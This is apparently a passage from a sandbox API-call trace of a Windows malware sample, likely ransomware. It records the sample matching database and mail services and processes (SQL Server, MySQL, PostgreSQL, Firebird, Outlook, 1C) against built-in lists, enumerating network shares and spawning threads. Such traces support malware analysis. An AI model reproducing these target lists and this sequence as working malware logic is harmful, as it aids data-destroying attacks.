(lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0176.602] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0176.602] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0176.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0176.602] lstrlenW (lpString="RpcSs") returned 5 [0176.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0176.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0176.602] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0176.602] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0176.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0176.602] lstrlenW (lpString="SamSs") returned 5 [0176.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0176.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0176.602] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0176.602] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0176.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0176.602] lstrlenW (lpString="Schedule") returned 8 [0176.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0176.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0176.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0176.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0176.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0176.603] lstrlenW (lpString="SENS") returned 4 [0176.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0176.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0176.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0176.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0176.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0176.603] lstrlenW (lpString="ShellHWDetection") returned 16 [0176.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0176.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0176.603] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0176.603] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0176.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0176.603] lstrlenW (lpString="Spooler") returned 7 [0176.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0176.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0176.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0176.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0176.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0176.603] lstrlenW (lpString="SysMain") returned 7 [0176.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0176.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0176.604] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0176.604] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0176.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0176.604] lstrlenW (lpString="Themes") returned 6 [0176.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0176.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0176.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0176.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0176.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0176.604] lstrlenW (lpString="TrkWks") returned 6 [0176.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0176.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0176.604] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0176.604] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0176.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0176.604] lstrlenW (lpString="UxSms") returned 5 [0176.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0176.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0176.604] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0176.604] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0176.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0176.604] lstrlenW (lpString="WdiServiceHost") returned 14 [0176.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0176.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0176.604] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0176.604] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0176.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0176.605] lstrlenW (lpString="WdiSystemHost") returned 13 [0176.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0176.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0176.605] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0176.605] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0176.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0176.605] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0176.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0176.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0176.605] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0176.605] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0176.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0176.605] lstrlenW (lpString="Winmgmt") returned 7 [0176.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0176.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0176.605] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0176.605] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0176.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0176.605] lstrlenW (lpString="WPDBusEnum") returned 10 [0176.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0176.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0176.605] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0176.605] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0176.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0176.606] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4111068 | out: hHeap=0x4b0000) returned 1 [0176.606] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0176.608] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.608] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0176.609] lstrlenW (lpString="System") returned 6 [0176.609] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0176.609] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0176.609] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0176.609] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0176.609] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0176.609] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0176.609] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0176.609] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0176.610] lstrlenW (lpString="smss.exe") returned 8 [0176.610] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0176.610] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0176.610] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0176.610] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0176.610] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0176.610] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0176.610] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0176.610] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0176.611] lstrlenW (lpString="csrss.exe") returned 9 [0176.611] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0176.611] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0176.611] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0176.611] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0176.611] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0176.611] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0176.611] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0176.611] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0176.612] lstrlenW (lpString="wininit.exe") returned 11 [0176.612] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0176.612] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0176.612] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0176.612] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0176.612] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0176.612] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0176.612] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0176.612] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0176.613] lstrlenW (lpString="csrss.exe") returned 9 [0176.613] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0176.613] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0176.613] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0176.613] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0176.613] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0176.613] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0176.613] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0176.613] lstrlenW (lpString="winlogon.exe") returned 12 [0176.613] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0176.614] lstrlenW (lpString="services.exe") returned 12 [0176.614] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0176.614] lstrlenW (lpString="lsass.exe") returned 9 [0176.615] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0176.615] lstrlenW (lpString="lsm.exe") returned 7 [0176.615] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.615] lstrlenW (lpString="svchost.exe") returned 11 [0176.616] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.616] lstrlenW (lpString="svchost.exe") returned 11 [0176.616] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.617] lstrlenW (lpString="svchost.exe") returned 11 [0176.617] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.617] lstrlenW (lpString="svchost.exe") returned 11 [0176.617] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.618] lstrlenW (lpString="svchost.exe") returned 11 [0176.618] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0176.618] lstrlenW (lpString="audiodg.exe") returned 11 [0176.618] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.619] lstrlenW (lpString="svchost.exe") returned 11 [0176.619] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.619] lstrlenW (lpString="svchost.exe") returned 11 [0176.619] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0176.620] lstrlenW (lpString="spoolsv.exe") returned 11 [0176.620] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0176.620] lstrlenW (lpString="taskhost.exe") returned 12 [0176.620] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.621] lstrlenW (lpString="svchost.exe") returned 11 [0176.621] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0176.621] lstrlenW (lpString="dwm.exe") returned 7 [0176.621] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0176.622] lstrlenW (lpString="explorer.exe") returned 12 [0176.622] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0176.622] lstrlenW (lpString="reader_sl.exe") returned 13 [0176.622] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0176.623] lstrlenW (lpString="taskhost.exe") returned 12 [0176.623] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0176.623] lstrlenW (lpString="rundll32.exe") returned 12 [0176.623] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0176.624] lstrlenW (lpString="dinotify.exe") returned 12 [0176.624] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0176.624] lstrlenW (lpString="dllhost.exe") returned 11 [0176.624] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0176.625] lstrlenW (lpString="3G6885.exe") returned 10 [0176.625] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0176.625] lstrlenW (lpString="cmd.exe") returned 7 [0176.625] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0176.626] lstrlenW (lpString="conhost.exe") returned 11 [0176.626] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0176.764] lstrlenW (lpString="mode.com") returned 8 [0176.764] Process32NextW (in: hSnapshot=0x1d4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0176.764] CloseHandle (hObject=0x1d4) returned 1 [0176.764] Sleep (dwMilliseconds=0x1f4) Thread: id = 75 os_tid = 0x698 [0174.576] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0xffffffff) returned 0x80 [0174.849] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e4b58 | out: hHeap=0x4b0000) returned 1 Thread: id = 76 os_tid = 0x754 [0174.576] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500310 [0174.576] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500310, Size=0x20) returned 0x4e5d50 [0174.576] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5d50, Size=0x40) returned 0x4e6d30 [0174.576] GetLogicalDrives () returned 0x4 [0174.576] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51e598 [0174.577] GetComputerNameW (in: lpBuffer=0x51e59c, nSize=0x241ff6c | out: lpBuffer="XDUWTFONO", nSize=0x241ff6c) returned 1 [0174.577] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x52e5a0 [0174.577] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x241ff3c | out: lphEnum=0x241ff3c*=0x4e6300) returned 0x0 [0174.577] WNetEnumResourceW (in: hEnum=0x4e6300, lpcCount=0x241ff38, lpBuffer=0x52e5a0, lpBufferSize=0x241ff40 | out: lpcCount=0x241ff38, lpBuffer=0x52e5a0, lpBufferSize=0x241ff40) returned 0x103 [0174.577] WNetCloseEnum (hEnum=0x4e6300) returned 0x0 [0174.577] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x241ff3c | out: lphEnum=0x241ff3c*=0x52f850) returned 0x0 [0174.588] WNetEnumResourceW (in: hEnum=0x52f850, lpcCount=0x241ff38, lpBuffer=0x52e5a0, lpBufferSize=0x241ff40 | out: lpcCount=0x241ff38, lpBuffer=0x52e5a0, lpBufferSize=0x241ff40) returned 0x0 [0174.588] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x52f990 [0174.588] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x52e5a0, lphEnum=0x241ff10 | out: lphEnum=0x241ff10*=0x4e63e0) returned 0x0 [0174.628] WNetEnumResourceW (in: hEnum=0x4e63e0, lpcCount=0x241ff0c, lpBuffer=0x52f990, lpBufferSize=0x241ff14 | out: lpcCount=0x241ff0c, lpBuffer=0x52f990, lpBufferSize=0x241ff14) returned 0x103 [0174.629] WNetCloseEnum (hEnum=0x4e63e0) returned 0x0 [0174.629] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x534138 [0174.629] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x52e5c0, lphEnum=0x241ff10) Thread: id = 77 os_tid = 0x750 [0174.591] GetTickCount () returned 0x113b433 [0174.591] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x530b08 [0174.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x530b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0174.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x530b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0174.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x530b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0174.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x530b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0174.593] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500550 [0174.593] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500550, Size=0x20) returned 0x503360 [0174.593] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500550 [0174.593] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500550, Size=0x20) returned 0x503388 [0174.594] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 